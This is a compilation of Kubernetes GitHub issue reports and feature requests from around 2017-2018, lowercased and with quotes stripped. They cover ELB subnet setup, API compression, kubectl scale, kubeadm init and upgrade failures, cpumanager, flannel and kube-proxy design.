kubernetes version  \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r aws\r -   install tools  :\r kube-aws v0.9.4\r \r  \r im creating my cluster on aws with kube-aws v0.9.4 using the following configuration:\r    \r controller:\r   autoscalinggroup:\r     minsize: 1\r     maxsize: 3\r     rollingupdatemininstancesinservice: 2\r   subnets:\r     - name: managedpublicsubnet1\r worker:\r   nodepools:\r     - name: nodepool1\r       count: 1\r       subnet:\r       - name: managedprivatesubnet1\r       autoscalinggroup:\r         minsize: 1\r         maxsize: 3\r         rollingupdatemininstancesinservice: 2\r     - name: nodepool2\r       count: 1\r       subnet:\r       - name: managedprivatesubnet2\r       autoscalinggroup:\r         minsize: 1\r         maxsize: 3\r         rollingupdatemininstancesinservice: 2\r subnets:\r   - name: managedpublicsubnet1\r     availabilityzone: us-east-1a\r     instancecidr: \ 10.0.100.0/24\ \r     routetable:\r       id: <existing_route_table_id>\r   - name: managedprivatesubnet1\r     private: true\r     availabilityzone: us-east-1a\r     instancecidr: \ 10.0.101.0/24\ \r     natgateway:\r       id: <existing_nat_gateway_id>\r   - name: managedprivatesubnet2\r     private: true\r     availabilityzone: us-east-1b\r     instancecidr: \ 10.0.102.0/24\ \r     natgateway:\r       id: <existing_nat_gateway_id>\r    \r \r after the cluster setup completes, i used the  mysql and wordpress on kubernetes  https://github.com/kubernetes/kubernetes/tree/master/examples/mysql-wordpress-pd  service example for testing.\r \r i found that the pods are dployed to all of two azs, but the instance in the second az are marked unhealthy in the elb\r    sh\r aws elb describe-instance-health --load-balancer-name a83c1f356071e11e7a2ef0a85d083008\r    \r    json\r {\r     \ instancestates\ :  \r         {\r             \ instanceid\ : \ i-0768b4671e258002d\ , \r             \ reasoncode\ : \ n/a\ , \r             \ state\ : \ inservice\ , \r             \ description\ : \ n/a\ \r         }, \r         {\r             \ instanceid\ : \ i-0e2a649e8db4f6b35\ , \r             \ reasoncode\ : \ instance\ , \r             \ state\ : \ outofservice\ , \r             \ description\ : \ instance is in the ec2 availability zone for which loadbalancer is not configured to route traffic to.\ \r         }, \r         {\r             \ instanceid\ : \ i-0e9ac5b71dbb639e0\ , \r             \ reasoncode\ : \ n/a\ , \r             \ state\ : \ inservice\ , \r             \ description\ : \ n/a\ \r         }\r      \r }\r    \r from further investigation it seems like not all subnets are added to elb\r    sh\r aws elb describe-load-balancers  --load-balancer-names a83c1f356071e11e7a2ef0a85d083008\r    \r    json\r {\r     \ loadbalancerdescriptions\ :  \r         {\r             \ subnets\ :  \r                 \ subnet-1c58b554\ \r              , \r             \ canonicalhostedzonenameid\ : \ z35sxdotrq7x7k\ , \r             \ canonicalhostedzonename\ : \ a83c1f356071e11e7a2ef0a85d083008-2093657804.us-east-1.elb.amazonaws.com\ , \r             \ listenerdescriptions\ :  \r                 {\r                     \ listener\ : {\r                         \ instanceport\ : 32743, \r                         \ loadbalancerport\ : 80, \r                         \ protocol\ : \ tcp\ , \r                         \ instanceprotocol\ : \ tcp\ \r                     }, \r                     \ policynames\ :   \r                 }\r              , \r             \ healthcheck\ : {\r                 \ healthythreshold\ : 2, \r                 \ interval\ : 10, \r                 \ target\ : \ tcp:32743\ , \r                 \ timeout\ : 5, \r                 \ unhealthythreshold\ : 6\r             }, \r             \ vpcid\ : \ vpc-cf9e1da9\ , \r             \ backendserverdescriptions\ :   , \r             \ instances\ :  \r                 {\r                     \ instanceid\ : \ i-0e2a649e8db4f6b35\ \r                 }, \r                 {\r                     \ instanceid\ : \ i-0e9ac5b71dbb639e0\ \r                 }, \r                 {\r                     \ instanceid\ : \ i-0768b4671e258002d\ \r                 }\r              , \r             \ dnsname\ : \ a83c1f356071e11e7a2ef0a85d083008-2093657804.us-east-1.elb.amazonaws.com\ , \r             \ securitygroups\ :  \r                 \ sg-31bc7f4e\ \r              , \r             \ policies\ : {\r                 \ lbcookiestickinesspolicies\ :   , \r                 \ appcookiestickinesspolicies\ :   , \r                 \ otherpolicies\ :   \r             }, \r             \ loadbalancername\ : \ a83c1f356071e11e7a2ef0a85d083008\ , \r             \ createdtime\ : \ 2017-03-12t12:22:11.570z\ , \r             \ availabilityzones\ :  \r                 \ us-east-1c\ \r              , \r             \ scheme\ : \ internet-facing\ , \r             \ sourcesecuritygroup\ : {\r                 \ owneralias\ : \ 482532884737\ , \r                 \ groupname\ : \ k8s-elb-a83c1f356071e11e7a2ef0a85d083008\ \r             }\r         }\r      \r }\r    \r if i add the second subnet manually it works as expected. also it would be nice if the \ cross-zone load balancing\  would be enabled on elbs with multiple az\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : \r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \r compression, gzip, response, json\r \r ---\r \r   is this a bug report or feature request?    choose one : \r feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r json payload returned by kubernetes can be very large on  get  requests when there are a lot of managed resources in the cluster.\r \r currently it is not possible to specify that large response bodies should be compressed via request headers.\r \r specifying the  accept-encoding  header on a  get  request should cause the k8s apiserver to respond with response body compressed with the given encoding sceme  e..g gzip, bzip2, etc.

this issue covers the proposal for the implementation of kubectl scale for the core controllers.\r this is relevant to statefulset, replicaset and deployment.\r \r currently, kubectl uses  get/put on the resource  https://github.com/kubernetes/kubernetes/blob/c272630b1bc87838cccedd3c04769d2b37b4dc66/pkg/kubectl/scale.go l268-l277  to update scale, and should instead use the scale endpoint.\r the scale endpoint exists in rs and deployment, and will be added to ss as well shortly.\r \r in order to keep compatibility with older server versions, the proposed change to the  kubectl scale  implementation is as follows:\r \r 1. use the discovery api to check for the presence of a scale sub-resource\r 2. if scale sub-resource is present, use it for updating the number of replicas\r 3. if it is absent, fall back to the existing method of get/put on the resource\r \r cc @liggitt @kubernetes/sig-cli-misc @kubernetes/sig-apps-misc

hi all\r \r we installed kubernetes using kubeadm and want to enable the \ insecure-port\  for the apiserver , we tried updating the \ kube-apiserver.yaml\  and restarted the kubelet but it is taking the original yaml file for the pod and not taking our changes .\r \r we even tried updating the yaml file for the pod from the dashboard but it says acess denied \r \r any suggestions on how to achieve this\r \r thanks & regards\r mohit patiyala

we need e2e tests for mount options feature including storageclasses. \r \r

kubectl annotate  fails to set annotation containing prefix:\r \r    \r $ kubectl annotate node aleksandram-minion-group-9559 cluster-autoscaler.kubernetes.io/scale-down-disabled=true\r \r the node \ aleksandram-minion-group-9559\  is invalid: metadata.annotations: invalid value: \ cluster-autoscaler.kubernetes.io~1scale-down-disabled\ : name part must consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character  e.g. 'myname',  or 'my.name',  or '123-abc', regex used for validation is '  a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9 ' \r    \r \r kubectl version:\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.3.502+5030391c0750ea-dirty\ , gitcommit:\ 5030391c0750eaa3fa7ccdef609ae7b22f29e477\ , gittreestate:\ dirty\ , builddate:\ 2017-08-30t08:48:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r this has been replicated on head  v1.9.0-alpha.0.408+ea017719e52138-dirty  and with different kubectl versions  1.7.0, 1.7.5 . same command succeeds in gke running 1.7.4.\r \r running with v=10, kubectl reports sending the request to api server:\r \r  request body: {\ metadata\ :{\ annotations\ :{\ cluster-autoscaler.kubernetes.io~1scale-down-disabled\ :\ true\ }}}  \r \r kubernetes/kubectl 60\r \r cc @mwielgus

what happened  :\r \r using fieldrefs to deploy containers like so:\r            env:\r         - name: jaeger_agent_host\r           valuefrom:\r             fieldref:\r               fieldpath: spec.nodename\r    \r we wanted to use status.hostip, but that isn't exposed:\r    invalid value: \ status.hostip\ : error converting fieldpath: field label not supported: status.hostip   \r \r   what you expected to happen  :\r \r hostip should be supported too.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.5\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r after i upgraded the apiserver in a cluster from v1.8.4 to v1.9.0-beta.0, the apiserver started crashlooping.\r \r   what you expected to happen  :\r \r no crashloop : \r \r   how to reproduce it  as minimally and precisely as possible   :\r use kubeadm from master\r    \r kubeadm init\r // v1.8.4\r kubeadm upgrade apply v1.9.0-beta.0 -f\r    \r \r   anything else we need to know?  :\r \r relevant apiserver log\r \r    \r e1122 20:33:31.901146       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:32.902154       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:32.902918       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:33.905673       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:33.906469       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:34.900987       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:34.901763       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:35.899881       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:35.900772       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r i1122 20:33:36.510986       1 controller.go:538  quota admission added evaluator for: { endpoints}\r e1122 20:33:36.899975       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:36.900809       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:37.891718       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:37.891961       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:38.900217       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:38.901113       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:39.901871       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:39.902702       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:40.891564       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:40.891783       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:41.900972       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:41.901713       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:42.900274       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:42.901101       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:43.900058       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:43.901007       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:44.900267       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:44.901137       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:45.899765       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:45.900713       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:46.899802       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:46.900705       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:47.899790       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:47.900726       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:48.902719       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:48.903622       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:49.899971       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:49.900856       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:50.899749       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:50.900706       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:51.900166       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:51.900972       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:52.904773       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:52.905675       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:53.900494       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:53.901237       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:54.900121       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:54.901027       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:55.899298       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:55.900058       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:56.900304       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:56.901143       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r e1122 20:33:56.927207       1 status.go:62  apiserver received an error that is not an metav1.status: resourceversion should not be set on objects to be created\r e1122 20:33:56.928126       1 storage_rbac.go:186  unable to prime aggregated clusterroles: resourceversion should not be set on objects to be created\r f1122 20:33:56.928351       1 hooks.go:188  poststarthook \ rbac/bootstrap-roles\  failed: unable to initialize roles: timed out waiting for the condition\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r this should probably be prioritized for v1.9\r \r @kubernetes/sig-api-machinery-pr-reviews

 \r   what happened  :\r call to cs_mounter.canmount   return nil\r \r   what you expected to happen  :\r that method call should probe the csi driver with a  nodeprobe    call.

os version: centos linux release 7.4.1708  core \r k8s version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r docker version: docker-ce.17.09.0\r        \r after installing all components of k8s 1.9 on my server, and finishing some necessary steps such as turn off the swap, enable the kubelet, unify the value of cgroup driver between docker and kubelet, etc.\r then i try to initialize master by executing the command:\r kubeadm init --kubernetes-version=v1.9.0 --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.199.211\r there is the information below after the command executed:\r  init  using kubernetes version: v1.9.0\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r \t warning systemverification : docker version is greater than the most recently validated version. docker version: 17.09.0-ce. max validated version: 17.03\r \t warning fileexisting-crictl : crictl not found in system path\r  preflight  starting the kubelet service\r  certificates  using the existing ca certificate and key.\r  certificates  using the existing apiserver certificate and key.\r  certificates  using the existing apiserver-kubelet-client certificate and key.\r  certificates  using the existing sa key.\r  certificates  using the existing front-proxy-ca certificate and key.\r  certificates  using the existing front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ admin.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ kubelet.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ controller-manager.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r  apiclient  all control plane components are healthy after 19.501140 seconds\r  uploadconfig  storing the configuration used in configmap \ kubeadm-config\  in the \ kube-system\  namespace\r  markmaster  will mark node k8s.master as master by adding a label and a taint\r  markmaster  master k8s.master tainted and labelled with key/value: node-role.kubernetes.io/master=\ \ \r  bootstraptoken  using token: c2d65f.2c885de26823599e\r  bootstraptoken  configured rbac rules to allow node bootstrap tokens to post csrs in order for nodes to get long term certificate credentials\r  bootstraptoken  configured rbac rules to allow the csrapprover controller automatically approve csrs from a node bootstrap token\r  bootstraptoken  configured rbac rules to allow certificate rotation for all node client certificates in the cluster\r  bootstraptoken  creating the \ cluster-info\  configmap in the \ kube-public\  namespace\r  addons  applied essential addon: kube-dns\r  addons  applied essential addon: kube-proxy\r \r your kubernetes master has initialized successfully!\r \r to start using your cluster, you need to run the following as a regular user:\r \r   mkdir -p $home/.kube\r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r   sudo chown $ id -u :$ id -g  $home/.kube/config\r \r you should now deploy a pod network to the cluster.\r run \ kubectl apply -f  podnetwork .yaml\  with one of the options listed at:\r   https://kubernetes.io/docs/concepts/cluster-administration/addons/\r \r you can now join any number of machines by running the following on each node\r as root:\r \r   kubeadm join --token c2d65f.2c885de26823599e 192.168.199.211:6443 --discovery-token-ca-cert-hash sha256:6fa47ddd6b6e05f01520314bee1c64b47d721d6da27e148de843fc60d103cffc\r        \r then executing this command: kubectl get po -n kube-system, get this result:\r name                                 ready     status              restarts   age\r etcd-k8s.master                      1/1       running             0          28m\r kube-apiserver-k8s.master            1/1       running             0          28m\r kube-controller-manager-k8s.master   1/1       running             0          28m\r kube-dns-6f4fd4bdf-ljwrd             0/3       containercreating   0          29m\r kube-proxy-t5lwg                     0/1       crashloopbackoff    2          29m\r kube-scheduler-k8s.master            1/1       running             0          28m\r \r dns and proxy are disfunctional, see proxy logs: kubectl get logs -f kube-proxy-t5lwg -n kube-system, get this message:\r i0207 04:54:28.263076       1 feature_gate.go:184  feature gates: map  \r error: unable to read certificate-authority /var/run/secrets/kubernetes.io/serviceaccount/ca.crt for default due to open /var/run/secrets/kubernetes.io/serviceaccount/ca.crt: no such file or directory\r \r then see dns logs: kubectl describe pod kube-dns-6f4fd4bdf-ljwrd -n kube-system, get this message:\r name:           kube-dns-6f4fd4bdf-ljwrd\r namespace:      kube-system\r node:           k8s.master/192.168.199.211\r start time:     wed, 07 feb 2018 12:52:51 +0800\r labels:         k8s-app=kube-dns\r                 pod-template-hash=290980689\r annotations:    <none>\r status:         pending\r ip:             \r controlled by:  replicaset/kube-dns-6f4fd4bdf\r containers:\r   kubedns:\r     container id:  \r     image:         gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.7\r     image id:      \r     ports:         10053/udp, 10053/tcp, 10055/tcp\r     args:\r       --domain=cluster.local.\r       --dns-port=10053\r       --config-dir=/kube-dns-config\r       --v=2\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     limits:\r       memory:  170mi\r     requests:\r       cpu:      100m\r       memory:   70mi\r     liveness:   http-get http://:10054/healthcheck/kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:  http-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     environment:\r       prometheus_port:  10055\r     mounts:\r       /kube-dns-config from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-rkst9  ro \r   dnsmasq:\r     container id:  \r     image:         gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.7\r     image id:      \r     ports:         53/udp, 53/tcp\r     args:\r       -v=2\r       -logtostderr\r       -configdir=/etc/k8s/dns/dnsmasq-nanny\r       -restartdnsmasq=true\r       --\r       -k\r       --cache-size=1000\r       --no-negcache\r       --log-facility=-\r       --server=/cluster.local/127.0.0.1 10053\r       --server=/in-addr.arpa/127.0.0.1 10053\r       --server=/ip6.arpa/127.0.0.1 10053\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:        150m\r       memory:     20mi\r     liveness:     http-get http://:10054/healthcheck/dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:  <none>\r     mounts:\r       /etc/k8s/dns/dnsmasq-nanny from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-rkst9  ro \r   sidecar:\r     container id:  \r     image:         gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.7\r     image id:      \r     port:          10054/tcp\r     args:\r       --v=2\r       --logtostderr\r       --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,srv\r       --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,srv\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:        10m\r       memory:     20mi\r     liveness:     http-get http://:10054/metrics delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:  <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-rkst9  ro \r conditions:\r   type           status\r   initialized    true \r   ready          false \r   podscheduled   true \r volumes:\r   kube-dns-config:\r     type:      configmap  a volume populated by a configmap \r     name:      kube-dns\r     optional:  true\r   kube-dns-token-rkst9:\r     type:        secret  a volume populated by a secret \r     secretname:  kube-dns-token-rkst9\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     criticaladdonsonly\r                  node-role.kubernetes.io/master:noschedule\r                  node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                  age                from                 message\r   ----     ------                  ----               ----                 -------\r   normal   scheduled               7m                 default-scheduler    successfully assigned kube-dns-6f4fd4bdf-ljwrd to k8s.master\r   normal   successfulmountvolume   7m                 kubelet, k8s.master  mountvolume.setup succeeded for volume \ kube-dns-config\ \r   normal   successfulmountvolume   7m                 kubelet, k8s.master  mountvolume.setup succeeded for volume \ kube-dns-token-rkst9\ \r   warning  failedcreatepodsandbox  7m  x12 over 7m    kubelet, k8s.master  failed create pod sandbox.\r   normal   sandboxchanged          2m  x290 over 7m   kubelet, k8s.master  pod sandbox changed, it will be killed and re-created.\r              \r i don't know where goes wrong with the initializing process, appreciating your suggestions, thank you.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r kubelet does not start when the cpumanager policy is set to static\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r i am using minikube to run a single node cluster. \r \r   anything else we need to know?  :\r the error in kubelet logs:\r oct 24 02:14:39 minikube kubelet 8371 : i1024 02:14:39.133367    8371 cpu_manager.go:113   cpumanager  detected cpu topology: &{2 2 1 map 0:{0 0} 1:{0 1} }\r oct 24 02:14:39 minikube kubelet 8371 : e1024 02:14:39.133407    8371 container_manager_linux.go:291  failed to initialize cpu manager:  cpumanager  unable to determine reserved cpu resources for static policy\r oct 24 02:14:39 minikube kubelet 8371 : f1024 02:14:39.133437    8371 server.go:261  failed to run kubelet:  cpumanager  unable to determine reserved cpu resources for static policy\r oct 24 02:14:39 minikube systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a\r oct 24 02:14:39 minikube systemd 1 : kubelet.service: failed with result 'exit-code'.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t17:05:32z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.1\ , gitcommit:\ 8418cccaf6a7307479f1dfeafb0d2823c1c37802\ , gittreestate:\ clean\ , builddate:\ 2018-10-15t21:19:40z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r minikube v0.30.0\r - others:\r \r cc @connordoyle @balajismaniam \r \r please let if know if any more details are required. i am interested in contributing to kubernetes but i am a newbie. please let me know if i can help out in any way.\r \r thanks\r

the script is stale and still assume etcd server and other master components are running as native processes on the node, not pod.

people have complained about this and now it's easy to test because we've streamlined flannel setup:  1. make flannel use a 10. address space by modifying the network config  try a couple that overlap with the master's service-cluster-ip-range, eg: 10.0.0.0/16, 10.15.0.0/12 etc :    https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/flannel-server/network.json l2 2. start a flannel cluster, just set this env var to flannel: https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/config-test.sh l128 and setup a normal e2e cluster  i.e: go run hack/e2e.go -pushup  3. test all the normal things  something like pods can ping across nodes, ping nodes, nslookup kubernetes.svc, we can hit a service from a node, nodeport works, master proxy works etc -- probably start by running all the services e2es against the cluster . i feel like one of these will fail.  @freehan in case you're interested in digging up flannel things

we are currently in the process of moving the kube-proxy into a pod - so it's a good time to talk about additional responsibilities for the kube proxy and the long term evolution about how people experiment with it: - some people have developed kube-proxy replacements based on haproxy that share a resemblance to ingress / route lbs - those have advantages in some cases over even the iptables implementation - there is a pr from the fall to  move dns responsibilities to the kube-proxy  https://github.com/kubernetes/kubernetes/pull/11599  - i believe this is the right  long term approach because dns is service discovery and proxying is intimately associated with service discovery.  they also share the same data set and answer the same questions, and having local dns resolution is >> remote for tolerating outage.  it also means dns answers and kube proxy lb results are in sync. - there is the  unidling proposal  https://github.com/kubernetes/kubernetes/pull/3247  from earlier this year that i have someone working now that would add a proposed optional extension to the kube-proxy that would support semantic unidling  scale 0->1  with connection holding to allow administrators to do seamless autoscaling to 0  which is somewhat disjoint .  this allows admins to transparently offer much higher cluster density. - the kube proxy, moving to a pod, will now be better able to be replaced on demand and thus be extended. - how do we leave the door open to extension for kube proxy?  should the kube-proxy move to its own repo?  wanted to get some discussion going because both 2 and 3 are in the short term implementation path for us - we're looking for a way to do that efficiently.

v1.finalizername seems to be invalid/incomplete in the swagger spec, its assumes an string, but properties is an empty object in definition.  this brokes the usage of listnamespace.  > caused by: com.fasterxml.jackson.databind.jsonmappingexception: can not instantiate value of type  simple type, class io.swagger.client.model.v1finalizername  from string value  'kubernetes' ; no single-string constructor/factory method >  at  source: sun.net.www.protocol.http.httpurlconnection$httpinputstream@5be6e01c; line: 19, column: 11  through reference chain: io.swagger.client.model.v1namespacelist \ items\  ->java.util.arraylist 0 ->io.swagger.client.model.v1namespace \ spec\  ->io.swagger.client.model.v1namespacespec \ finalizers\  ->java.util.arraylist 0

followup of $40860, we should test upgrading autoscaling/v1 to autoscaling/v2alpha1

